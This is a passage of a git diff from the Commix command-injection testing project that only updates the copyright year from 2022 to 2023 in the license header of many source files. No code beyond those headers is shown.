+++ b/src/__init__.py
@@ -3,7 +3,7 @@
"""
This file is part of Commix Project (https://commixproject.com).
-Copyright (c) 2014-2022 Anastasios Stasinopoulos (@ancst).
+Copyright (c) 2014-2023 Anastasios Stasinopoulos (@ancst).
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
diff --git a/src/core/__init__.py b/src/core/__init__.py
index 7ce1185b92..4b64c163e0 100644
--- a/src/core/__init__.py
+++ b/src/core/__init__.py
@@ -3,7 +3,7 @@
"""
This file is part of Commix Project (https://commixproject.com).
-Copyright (c) 2014-2022 Anastasios Stasinopoulos (@ancst).
+Copyright (c) 2014-2023 Anastasios Stasinopoulos (@ancst).
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
diff --git a/src/core/compat.py b/src/core/compat.py
index 48af6f3a36..9a0d60c0f1 100644
--- a/src/core/compat.py
+++ b/src/core/compat.py
@@ -3,7 +3,7 @@
"""
This file is part of Commix Project (https://commixproject.com).
-Copyright (c) 2014-2022 Anastasios Stasinopoulos (@ancst).
+Copyright (c) 2014-2023 Anastasios Stasinopoulos (@ancst).
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
diff --git a/src/core/convert.py b/src/core/convert.py
index fad3bae9d9..c14585bf28 100644
--- a/src/core/convert.py
+++ b/src/core/convert.py
@@ -3,7 +3,7 @@
"""
This file is part of Commix Project (https://commixproject.com).
-Copyright (c) 2014-2022 Anastasios Stasinopoulos (@ancst).
+Copyright (c) 2014-2023 Anastasios Stasinopoulos (@ancst).
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
diff --git a/src/core/injections/__init__.py b/src/core/injections/__init__.py
index 7ce1185b92..4b64c163e0 100644
--- a/src/core/injections/__init__.py
+++ b/src/core/injections/__init__.py
@@ -3,7 +3,7 @@
"""
This file is part of Commix Project (https://commixproject.com).
-Copyright (c) 2014-2022 Anastasios Stasinopoulos (@ancst).
+Copyright (c) 2014-2023 Anastasios Stasinopoulos (@ancst).
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
diff --git a/src/core/injections/blind/__init__.py b/src/core/injections/blind/__init__.py
index 7ce1185b92..4b64c163e0 100644
--- a/src/core/injections/blind/__init__.py
+++ b/src/core/injections/blind/__init__.py
@@ -3,7 +3,7 @@
"""
This file is part of Commix Project (https://commixproject.com).
-Copyright (c) 2014-2022 Anastasios Stasinopoulos (@ancst).
+Copyright (c) 2014-2023 Anastasios Stasinopoulos (@ancst).
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
diff --git a/src/core/injections/blind/techniques/__init__.py b/src/core/injections/blind/techniques/__init__.py
index 7ce1185b92..4b64c163e0 100644
--- a/src/core/injections/blind/techniques/__init__.py
+++ b/src/core/injections/blind/techniques/__init__.py
@@ -3,7 +3,7 @@
"""
This file is part of Commix Project (https://commixproject.com).
-Copyright (c) 2014-2022 Anastasios Stasinopoulos (@ancst).
+Copyright (c) 2014-2023 Anastasios Stasinopoulos (@ancst).
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
diff --git a/src/core/injections/blind/techniques/time_based/__init__.py b/src/core/injections/blind/techniques/time_based/__init__.py
index 7ce1185b92..4b64c163e0 100644
--- a/src/core/injections/blind/techniques/time_based/__init__.py
+++ b/src/core/injections/blind/techniques/time_based/__init__.py
@@ -3,7 +3,7 @@
"""
This file is part of Commix Project (https://commixproject.com).
-Copyright (c) 2014-2022 Anastasios Stasinopoulos (@ancst).
+Copyright (c) 2014-2023 Anastasios Stasinopoulos (@ancst).
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
diff --git a/src/core/injections/blind/techniques/time_based/tb_enumeration.py b/src/core/injections/blind/techniques/time_based/tb_enumeration.py
index 572f1d6632..919491f8af 100755
--- a/src/core/injections/blind/techniques/time_based/tb_enumeration.py
+++ b/src/core/injections/blind/techniques/time_based/tb_enumeration.py
@@ -3,7 +3,7 @@
"""
This file is part of Commix Project (https://commixproject.com).
-Copyright (c) 2014-2022 Anastasios Stasinopoulos (@ancst).
+Copyright (c) 2014-2023 Anastasios Stasinopoulos (@ancst).
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
diff --git a/src/core/injections/blind/techniques/time_based/tb_file_access.py b/src/core/injections/blind/techniques/time_based/tb_file_access.py
index 07506097cd..2615931ce5 100755
--- a/src/core/injections/blind/techniques/time_based/tb_file_access.py
+++ b/src/core/injections/blind/techniques/time_based/tb_file_access.py
@@ -3,7 +3,7 @@
"""
This file is part of Commix Project (https://commixproject.com).
-Copyright (c) 2014-2022 Anastasios Stasinopoulos (@ancst).
+Copyright (c) 2014-2023 Anastasios Stasinopoulos (@ancst).
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
diff --git a/src/core/injections/blind/techniques/time_based/tb_handler.py b/src/core/injections/blind/techniques/time_based/tb_handler.py
index 9c42254ef7..7848b9c0c2 100755
--- a/src/core/injections/blind/techniques/time_based/tb_handler.py
+++ b/src/core/injections/blind/techniques/time_based/tb_handler.py
@@ -3,7 +3,7 @@
"""
This file is part of Commix Project (https://commixproject.com).
-Copyright (c) 2014-2022 Anastasios Stasinopoulos (@ancst).
+Copyright (c) 2014-2023 Anastasios Stasinopoulos (@ancst).
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
diff --git a/src/core/injections/blind/techniques/time_based/tb_injector.py b/src/core/injections/blind/techniques/time_based/tb_injector.py
index e4615528d2..d52e1ff449 100755
--- a/src/core/injections/blind/techniques/time_based/tb_injector.py
+++ b/src/core/injections/blind/techniques/time_based/tb_injector.py
@@ -3,7 +3,7 @@
"""
This file is part of Commix Project (https://commixproject.com).
-Copyright (c) 2014-2022 Anastasios Stasinopoulos (@ancst).
+Copyright (c) 2014-2023 Anastasios Stasinopoulos (@ancst).
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
diff --git a/src/core/injections/blind/techniques/time_based/tb_payloads.py b/src/core/injections/blind/techniques/time_based/tb_payloads.py
index b119491275..6203f83e7b 100755
--- a/src/core/injections/blind/techniques/time_based/tb_payloads.py
+++ b/src/core/injections/blind/techniques/time_based/tb_payloads.py
@@ -3,7 +3,7 @@
"""
This file is part of Commix Project (https://commixproject.com).
-Copyright (c) 2014-2022 Anastasios Stasinopoulos (@ancst).
+Copyright (c) 2014-2023 Anastasios Stasinopoulos (@ancst).
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
diff --git a/src/core/injections/controller/__init__.py b/src/core/injections/controller/__init__.py
index 7ce1185b92..4b64c163e0 100644
--- a/src/core/injections/controller/__init__.py
+++ b/src/core/injections/controller/__init__.py
@@ -3,7 +3,7 @@
"""
This file is part of Commix Project (https://commixproject.com).
-Copyright (c) 2014-2022 Anastasios Stasinopoulos (@ancst).
+Copyright (c) 2014-2023 Anastasios Stasinopoulos (@ancst).
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
diff --git a/src/core/injections/controller/checks.py b/src/core/injections/controller/checks.py
index 73bb05db70..276a9dac2a 100755
--- a/src/core/injections/controller/checks.py
+++ b/src/core/injections/controller/checks.py
@@ -3,7 +3,7 @@
"""
This file is part of Commix Project (https://commixproject.com).
-Copyright (c) 2014-2022 Anastasios Stasinopoulos (@ancst).
+Copyright (c) 2014-2023 Anastasios Stasinopoulos (@ancst).
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
diff --git a/src/core/injections/controller/controller.py b/src/core/injections/controller/controller.py
index 8cba07791f..b269673d58 100644
--- a/src/core/injections/controller/controller.py
+++ b/src/core/injections/controller/controller.py
@@ -3,7 +3,7 @@
"""
This file is part of Commix Project (https://commixproject.com).
-Copyright (c) 2014-2022 Anastasios Stasinopoulos (@ancst).
+Copyright (c) 2014-2023 Anastasios Stasinopoulos (@ancst).
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
diff --git a/src/core/injections/controller/parser.py b/src/core/injections/controller/parser.py
index a4d7ea7c93..ed24231325 100755
--- a/src/core/injections/controller/parser.py
+++ b/src/core/injections/controller/parser.py
@@ -3,7 +3,7 @@
"""
This file is part of Commix Project (https://commixproject.com).
-Copyright (c) 2014-2022 Anastasios Stasinopoulos (@ancst).
+Copyright (c) 2014-2023 Anastasios Stasinopoulos (@ancst).
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
diff --git a/src/core/injections/controller/shell_options.py b/src/core/injections/controller/shell_options.py
index febae03580..d88e06b65a 100755
--- a/src/core/injections/controller/shell_options.py
+++ b/src/core/injections/controller/shell_options.py
@@ -3,7 +3,7 @@
"""
This file is part of Commix Project (https://commixproject.com).
-Copyright (c) 2014-2022 Anastasios Stasinopoulos (@ancst).
+Copyright (c) 2014-2023 Anastasios Stasinopoulos (@ancst).
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
diff --git a/src/core/injections/results_based/__init__.py b/src/core/injections/results_based/__init__.py
index 7ce1185b92..4b64c163e0 100644
--- a/src/core/injections/results_based/__init__.py
+++ b/src/core/injections/results_based/__init__.py
@@ -3,7 +3,7 @@
"""
This file is part of Commix Project (https://commixproject.com).
-Copyright (c) 2014-2022 Anastasios Stasinopoulos (@ancst).
+Copyright (c) 2014-2023 Anastasios Stasinopoulos (@ancst).
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
diff --git a/src/core/injections/results_based/techniques/__init__.py b/src/core/injections/results_based/techniques/__init__.py
index 7ce1185b92..4b64c163e0 100644
--- a/src/core/injections/results_based/techniques/__init__.py
+++ b/src/core/injections/results_based/techniques/__init__.py
@@ -3,7 +3,7 @@
"""
This file is part of Commix Project (https://commixproject.com).
-Copyright (c) 2014-2022 Anastasios Stasinopoulos (@ancst).
+Copyright (c) 2014-2023 Anastasios Stasinopoulos (@ancst).
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
diff --git a/src/core/injections/results_based/techniques/classic/__init__.py b/src/core/injections/results_based/techniques/classic/__init__.py
index 7ce1185b92..4b64c163e0 100644
--- a/src/core/injections/results_based/techniques/classic/__init__.py
+++ b/src/core/injections/results_based/techniques/classic/__init__.py
@@ -3,7 +3,7 @@
"""
This file is part of Commix Project (https://commixproject.com).
-Copyright (c) 2014-2022 Anastasios Stasinopoulos (@ancst).
+Copyright (c) 2014-2023 Anastasios Stasinopoulos (@ancst).
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
diff --git a/src/core/injections/results_based/techniques/classic/cb_enumeration.py b/src/core/injections/results_based/techniques/classic/cb_enumeration.py
index 8c5b302ec0..93aff44a50 100755
--- a/src/core/injections/results_based/techniques/classic/cb_enumeration.py
+++ b/src/core/injections/results_based/techniques/classic/cb_enumeration.py
@@ -3,7 +3,7 @@
"""
This file is part of Commix Project (https://commixproject.com).
-Copyright (c) 2014-2022 Anastasios Stasinopoulos (@ancst).
+Copyright (c) 2014-2023 Anastasios Stasinopoulos (@ancst).
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
diff --git a/src/core/injections/results_based/techniques/classic/cb_file_access.py b/src/core/injections/results_based/techniques/classic/cb_file_access.py
index 88bfc902bf..571c998fcd 100755
--- a/src/core/injections/results_based/techniques/classic/cb_file_access.py
+++ b/src/core/injections/results_based/techniques/classic/cb_file_access.py
@@ -3,7 +3,7 @@
"""
This file is part of Commix Project (https://commixproject.com).
-Copyright (c) 2014-2022 Anastasios Stasinopoulos (@ancst).
+Copyright (c) 2014-2023 Anastasios Stasinopoulos (@ancst).
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
diff --git a/src/core/injections/results_based/techniques/classic/cb_handler.py b/src/core/injections/results_based/techniques/classic/cb_handler.py
index 976e32277d..5d741557a8 100755
--- a/src/core/injections/results_based/techniques/classic/cb_handler.py
+++ b/src/core/injections/results_based/techniques/classic/cb_handler.py
@@ -3,7 +3,7 @@
"""
This file is part of Commix Project (https://commixproject.com).
-Copyright (c) 2014-2022 Anastasios Stasinopoulos (@ancst).
+Copyright (c) 2014-2023 Anastasios Stasinopoulos (@ancst).
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
diff --git a/src/core/injections/results_based/techniques/classic/cb_injector.py b/src/core/injections/results_based/techniques/classic/cb_injector.py
index c0feaad338..01e7b3de25 100755
--- a/src/core/injections/results_based/techniques/classic/cb_injector.py
+++ b/src/core/injections/results_based/techniques/classic/cb_injector.py
@@ -3,7 +3,7 @@
"""
This file is part of Commix Project (https://commixproject.com).
-Copyright (c) 2014-2022 Anastasios Stasinopoulos (@ancst).
+Copyright (c) 2014-2023 Anastasios Stasinopoulos (@ancst).
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
diff --git a/src/core/injections/results_based/techniques/classic/cb_payloads.py b/src/core/injections/results_based/techniques/classic/cb_payloads.py
index ca13a188f9..769defe8f7 100755
--- a/src/core/injections/results_based/techniques/classic/cb_payloads.py
+++ b/src/core/injections/results_based/techniques/classic/cb_payloads.py
@@ -3,7 +3,7 @@
"""
This file is part of Commix Project (https://commixproject.com).
-Copyright (c) 2014-2022 Anastasios Stasinopoulos (@ancst).
+Copyright (c) 2014-2023 Anastasios Stasinopoulos (@ancst).
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
diff --git a/src/core/injections/results_based/techniques/eval_based/__init__.py b/src/core/injections/results_based/techniques/eval_based/__init__.py
index 7ce1185b92..4b64c163e0 100644
--- a/src/core/injections/results_based/techniques/eval_based/__init__.py
+++ b/src/core/injections/results_based/techniques/eval_based/__init__.py
@@ -3,7 +3,7 @@
"""
This file is part of Commix Project (https://commixproject.com).
-Copyright (c) 2014-2022 Anastasios Stasinopoulos (@ancst).
+Copyright (c) 2014-2023 Anastasios Stasinopoulos (@ancst).
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
diff --git a/src/core/injections/results_based/techniques/eval_based/eb_enumeration.py b/src/core/injections/results_based/techniques/eval_based/eb_enumeration.py
index 439181a3bf..c4ba704b92 100755
--- a/src/core/injections/results_based/techniques/eval_based/eb_enumeration.py
+++ b/src/core/injections/results_based/techniques/eval_based/eb_enumeration.py
@@ -3,7 +3,7 @@
"""
This file is part of Commix Project (https://commixproject.com).
-Copyright (c) 2014-2022 Anastasios Stasinopoulos (@ancst).
+Copyright (c) 2014-2023 Anastasios Stasinopoulos (@ancst).
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
diff --git a/src/core/injections/results_based/techniques/eval_based/eb_file_access.py b/src/core/injections/results_based/techniques/eval_based/eb_file_access.py
index 86d0a3040b..dc72f6183e 100755
--- a/src/core/injections/results_based/techniques/eval_based/eb_file_access.py
+++ b/src/core/injections/results_based/techniques/eval_based/eb_file_access.py
@@ -3,7 +3,7 @@
"""
This file is part of Commix Project (https://commixproject.com).
-Copyright (c) 2014-2022 Anastasios Stasinopoulos (@ancst).
+Copyright (c) 2014-2023 Anastasios Stasinopoulos (@ancst).
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
diff --git a/src/core/injections/results_based/techniques/eval_based/eb_handler.py b/src/core/injections/results_based/techniques/eval_based/eb_handler.py
index ada5cb7ac5..0a2d8d7619 100755
--- a/src/core/injections/results_based/techniques/eval_based/eb_handler.py
+++ b/src/core/injections/results_based/techniques/eval_based/eb_handler.py
@@ -3,7 +3,7 @@
"""
This file is part of Commix Project (https://commixproject.com).
-Copyright (c) 2014-2022 Anastasios Stasinopoulos (@ancst).
+Copyright (c) 2014-2023 Anastasios Stasinopoulos (@ancst).
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
diff --git a/src/core/injections/results_based/techniques/eval_based/eb_injector.py b/src/core/injections/results_based/techniques/eval_based/eb_injector.py
index ceb42396fb..8fd3a8cd04 100755
--- a/src/core/injections/results_based/techniques/eval_based/eb_injector.py
+++ b/src/core/injections/results_based/techniques/eval_based/eb_injector.py
@@ -3,7 +3,7 @@
"""
This file is part of Commix Project (https://commixproject.com).
-Copyright (c) 2014-2022 Anastasios Stasinopoulos (@ancst).
+Copyright (c) 2014-2023 Anastasios Stasinopoulos (@ancst).
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
diff --git a/src/core/injections/results_based/techniques/eval_based/eb_payloads.py b/src/core/injections/results_based/techniques/eval_based/eb_payloads.py
index 0b30bc8f5f..f74103f731 100755
--- a/src/core/injections/results_based/techniques/eval_based/eb_payloads.py
+++ b/src/core/injections/results_based/techniques/eval_based/eb_payloads.py
@@ -3,7 +3,7 @@
"""
This file is part of Commix Project (https://commixproject.com).
-Copyright (c) 2014-2022 Anastasios Stasinopoulos (@ancst).
+Copyright (c) 2014-2023 Anastasios Stasinopoulos (@ancst).
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
diff --git a/src/core/injections/semiblind/__init__.py b/src/core/injections/semiblind/__init__.py
index 7ce1185b92..4b64c163e0 100644
--- a/src/core/injections/semiblind/__init__.py
+++ b/src/core/injections/semiblind/__init__.py
@@ -3,7 +3,7 @@
"""
This file is part of Commix Project (https://commixproject.com).
-Copyright (c) 2014-2022 Anastasios Stasinopoulos (@ancst).
+Copyright (c) 2014-2023 Anastasios Stasinopoulos (@ancst).
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
diff --git a/src/core/injections/semiblind/techniques/__init__.py b/src/core/injections/semiblind/techniques/__init__.py
index 7ce1185b92..4b64c163e0 100644
--- a/src/core/injections/semiblind/techniques/__init__.py
+++ b/src/core/injections/semiblind/techniques/__init__.py
@@ -3,7 +3,7 @@
"""
This file is part of Commix Project (https://commixproject.com).
-Copyright (c) 2014-2022 Anastasios Stasinopoulos (@ancst).
+Copyright (c) 2014-2023 Anastasios Stasinopoulos (@ancst).
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
diff --git a/src/core/injections/semiblind/techniques/file_based/__init__.py b/src/core/injections/semiblind/techniques/file_based/__init__.py
index 7ce1185b92..4b64c163e0 100644
--- a/src/core/injections/semiblind/techniques/file_based/__init__.py
+++ b/src/core/injections/semiblind/techniques/file_based/__init__.py
@@ -3,7 +3,7 @@
"""
This file is part of Commix Project (https://commixproject.com).
-Copyright (c) 2014-2022 Anastasios Stasinopoulos (@ancst).
+Copyright (c) 2014-2023 Anastasios Stasinopoulos (@ancst).
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
diff --git a/src/core/injections/semiblind/techniques/file_based/fb_enumeration.py b/src/core/injections/semiblind/techniques/file_based/fb_enumeration.py
index 50000cb500..f2f70c50d8 100755
--- a/src/core/injections/semiblind/techniques/file_based/fb_enumeration.py
+++ b/src/core/injections/semiblind/techniques/file_based/fb_enumeration.py
@@ -3,7 +3,7 @@
"""
This file is part of Commix Project (https://commixproject.com).
-Copyright (c) 2014-2022 Anastasios Stasinopoulos (@ancst).
+Copyright (c) 2014-2023 Anastasios Stasinopoulos (@ancst).
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
diff --git a/src/core/injections/semiblind/techniques/file_based/fb_file_access.py b/src/core/injections/semiblind/techniques/file_based/fb_file_access.py
index 45d85f4a71..a030190b34 100755
--- a/src/core/injections/semiblind/techniques/file_based/fb_file_access.py
+++ b/src/core/injections/semiblind/techniques/file_based/fb_file_access.py
@@ -3,7 +3,7 @@
"""
This file is part of Commix Project (https://commixproject.com).
-Copyright (c) 2014-2022 Anastasios Stasinopoulos (@ancst).
+Copyright (c) 2014-2023 Anastasios Stasinopoulos (@ancst).
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
diff --git a/src/core/injections/semiblind/techniques/file_based/fb_handler.py b/src/core/injections/semiblind/techniques/file_based/fb_handler.py
index 16ba4b9c15..edb2c4b94e 100755
--- a/src/core/injections/semiblind/techniques/file_based/fb_handler.py
+++ b/src/core/injections/semiblind/techniques/file_based/fb_handler.py
@@ -3,7 +3,7 @@
"""
This file is part of Commix Project (https://commixproject.com).
-Copyright (c) 2014-2022 Anastasios Stasinopoulos (@ancst).
+Copyright (c) 2014-2023 Anastasios Stasinopoulos (@ancst).
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
diff --git a/src/core/injections/semiblind/techniques/file_based/fb_injector.py b/src/core/injections/semiblind/techniques/file_based/fb_injector.py
index fe1a12e63e..18af48a258 100755
--- a/src/core/injections/semiblind/techniques/file_based/fb_injector.py
+++ b/src/core/injections/semiblind/techniques/file_based/fb_injector.py
@@ -3,7 +3,7 @@
"""
This file is part of Commix Project (https://commixproject.com).
-Copyright (c) 2014-2022 Anastasios Stasinopoulos (@ancst).
+Copyright (c) 2014-2023 Anastasios Stasinopoulos (@ancst).
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
diff --git a/src/core/injections/semiblind/techniques/file_based/fb_payloads.py b/src/core/injections/semiblind/techniques/file_based/fb_payloads.py
index ada7d25040..390b88ee39 100755
--- a/src/core/injections/semiblind/techniques/file_based/fb_payloads.py
+++ b/src/core/injections/semiblind/techniques/file_based/fb_payloads.py
@@ -3,7 +3,7 @@
"""
This file is part of Commix Project (https://commixproject.com).
-Copyright (c) 2014-2022 Anastasios Stasinopoulos (@ancst).
+Copyright (c) 2014-2023 Anastasios Stasinopoulos (@ancst).
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
diff --git a/src/core/injections/semiblind/techniques/tempfile_based/__init__.py b/src/core/injections/semiblind/techniques/tempfile_based/__init__.py
index 7ce1185b92..4b64c163e0 100644
--- a/src/core/injections/semiblind/techniques/tempfile_based/__init__.py
+++ b/src/core/injections/semiblind/techniques/tempfile_based/__init__.py
@@ -3,7 +3,7 @@
"""
This file is part of Commix Project (https://commixproject.com).
-Copyright (c) 2014-2022 Anastasios Stasinopoulos (@ancst).
+Copyright (c) 2014-2023 Anastasios Stasinopoulos (@ancst).
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
diff --git a/src/core/injections/semiblind/techniques/tempfile_based/tfb_enumeration.py b/src/core/injections/semiblind/techniques/tempfile_based/tfb_enumeration.py
index d8ad42ca0c..02832e9f77 100755
--- a/src/core/injections/semiblind/techniques/tempfile_based/tfb_enumeration.py
+++ b/src/core/injections/semiblind/techniques/tempfile_based/tfb_enumeration.py
@@ -3,7 +3,7 @@
"""
This file is part of Commix Project (https://commixproject.com).
-Copyright (c) 2014-2022 Anastasios Stasinopoulos (@ancst).
+Copyright (c) 2014-2023 Anastasios Stasinopoulos (@ancst).
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
diff --git a/src/core/injections/semiblind/techniques/tempfile_based/tfb_file_access.py b/src/core/injections/semiblind/techniques/tempfile_based/tfb_file_access.py
index a588bd3efe..74008aa710 100755
--- a/src/core/injections/semiblind/techniques/tempfile_based/tfb_file_access.py
+++ b/src/core/injections/semiblind/techniques/tempfile_based/tfb_file_access.py
@@ -3,7 +3,7 @@
"""
This file is part of Commix Project (https://commixproject.com).
-Copyright (c) 2014-2022 Anastasios Stasinopoulos (@ancst).
+Copyright (c) 2014-2023 Anastasios Stasinopoulos (@ancst).
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
diff --git a/src/core/injections/semiblind/techniques/tempfile_based/tfb_handler.py b/src/core/injections/semiblind/techniques/tempfile_based/tfb_handler.py
index 20150f3a53..87798a7129 100755
--- a/src/core/injections/semiblind/techniques/tempfile_based/tfb_handler.py
+++ b/src/core/injections/semiblind/techniques/tempfile_based/tfb_handler.py
@@ -3,7 +3,7 @@
"""
This file is part of Commix Project (https://commixproject.com).
-Copyright (c) 2014-2022 Anastasios Stasinopoulos (@ancst).
+Copyright (c) 2014-2023 Anastasios Stasinopoulos (@ancst).
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
diff --git a/src/core/injections/semiblind/techniques/tempfile_based/tfb_injector.py b/src/core/injections/semiblind/techniques/tempfile_based/tfb_injector.py
index 6f78449373..11f0e12f70 100755
--- a/src/core/injections/semiblind/techniques/tempfile_based/tfb_injector.py
+++ b/src/core/injections/semiblind/techniques/tempfile_based/tfb_injector.py
@@ -3,7 +3,7 @@
"""
This file is part of Commix Project (https://commixproject.com).
-Copyright (c) 2014-2022 Anastasios Stasinopoulos (@ancst).
+Copyright (c) 2014-2023 Anastasios Stasinopoulos (@ancst).
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
diff --git a/src/core/injections/semiblind/techniques/tempfile_based/tfb_payloads.py b/src/core/injections/semiblind/techniques/tempfile_based/tfb_payloads.py
index f68e0a11d8..88f76366a1 100755
--- a/src/core/injections/semiblind/techniques/tempfile_based/tfb_payloads.py
+++ b/src/core/injections/semiblind/techniques/tempfile_based/tfb_payloads.py
@@ -3,7 +3,7 @@
"""
This file is part of Commix Project (https://commixproject.com).
-Copyright (c) 2014-2022 Anastasios Stasinopoulos (@ancst).
+Copyright (c) 2014-2023 Anastasios Stasinopoulos (@ancst).
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
diff --git a/src/core/main.py b/src/core/main.py
index 3bb52ca98c..6a4d0ee58b 100644
--- a/src/core/main.py
+++ b/src/core/main.py
@@ -3,7 +3,7 @@
"""
This file is part of Commix Project (https://commixproject.com).
-Copyright (c) 2014-2022 Anastasios Stasinopoulos (@ancst).
+Copyright (c) 2014-2023 Anastasios Stasinopoulos (@ancst).
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
diff --git a/src/core/modules/__init__.py b/src/core/modules/__init__.py
index 7ce1185b92..4b64c163e0 100644
--- a/src/core/modules/__init__.py
+++ b/src/core/modules/__init__.py
@@ -3,7 +3,7 @@
"""
This file is part of Commix Project (https://commixproject.com).
-Copyright (c) 2014-2022 Anastasios Stasinopoulos (@ancst).
+Copyright (c) 2014-2023 Anastasios Stasinopoulos (@ancst).
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
diff --git a/src/core/modules/modules_handler.py b/src/core/modules/modules_handler.py
index e604f25695..ed8e5536a8 100644
--- a/src/core/modules/modules_handler.py
+++ b/src/core/modules/modules_handler.py
@@ -3,7 +3,7 @@
"""
This file is part of Commix Project (https://commixproject.com).
-Copyright (c) 2014-2022 Anastasios Stasinopoulos (@ancst).
+Copyright (c) 2014-2023 Anastasios Stasinopoulos (@ancst).
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
diff --git a/src/core/modules/shellshock/__init__.py b/src/core/modules/shellshock/__init__.py
index 7ce1185b92..4b64c163e0 100644
--- a/src/core/modules/shellshock/__init__.py
+++ b/src/core/modules/shellshock/__init__.py
@@ -3,7 +3,7 @@
"""
This file is part of Commix Project (https://commixproject.com).
-Copyright (c) 2014-2022 Anastasios Stasinopoulos (@ancst).
+Copyright (c) 2014-2023 Anastasios Stasinopoulos (@ancst).
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
diff --git a/src/core/requests/__init__.py b/src/core/requests/__init__.py
index 7ce1185b92..4b64c163e0 100644
--- a/src/core/requests/__init__.py
+++ b/src/core/requests/__init__.py
@@ -3,7 +3,7 @@
"""
This file is part of Commix Project (https://commixproject.com).
-Copyright (c) 2014-2022 Anastasios Stasinopoulos (@ancst).
+Copyright (c) 2014-2023 Anastasios Stasinopoulos (@ancst).
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
diff --git a/src/core/requests/authentication.py b/src/core/requests/authentication.py
index 21f7f3dba4..2c8bd55d3f 100644
--- a/src/core/requests/authentication.py
+++ b/src/core/requests/authentication.py
@@ -3,7 +3,7 @@
"""
This file is part of Commix Project (https://commixproject.com).
-Copyright (c) 2014-2022 Anastasios Stasinopoulos (@ancst).
+Copyright (c) 2014-2023 Anastasios Stasinopoulos (@ancst).
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
diff --git a/src/core/requests/headers.py b/src/core/requests/headers.py
index 0aa83c9624..b79e87cb90 100755
--- a/src/core/requests/headers.py
+++ b/src/core/requests/headers.py
@@ -3,7 +3,7 @@
"""
This file is part of Commix Project (https://commixproject.com).
-Copyright (c) 2014-2022 Anastasios Stasinopoulos (@ancst).
+Copyright (c) 2014-2023 Anastasios Stasinopoulos (@ancst).
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
diff --git a/src/core/requests/parameters.py b/src/core/requests/parameters.py
index 1758605e0c..b3c6729326 100755
--- a/src/core/requests/parameters.py
+++ b/src/core/requests/parameters.py
@@ -3,7 +3,7 @@
"""
This file is part of Commix Project (https://commixproject.com).
-Copyright (c) 2014-2022 Anastasios Stasinopoulos (@ancst).
+Copyright (c) 2014-2023 Anastasios Stasinopoulos (@ancst).
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
diff --git a/src/core/requests/proxy.py b/src/core/requests/proxy.py
index 1dfeb288ee..a07dc0bec8 100644
--- a/src/core/requests/proxy.py
+++ b/src/core/requests/proxy.py
@@ -3,7 +3,7 @@
"""
This file is part of Commix Project (https://commixproject.com).
-Copyright (c) 2014-2022 Anastasios Stasinopoulos (@ancst).
+Copyright (c) 2014-2023 Anastasios Stasinopoulos (@ancst).
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
diff --git a/src/core/requests/redirection.py b/src/core/requests/redirection.py
index ebca5a03e7..a602d73a2c 100755
--- a/src/core/requests/redirection.py
+++ b/src/core/requests/redirection.py
@@ -3,7 +3,7 @@
"""
This file is part of Commix Project (https://commixproject.com).
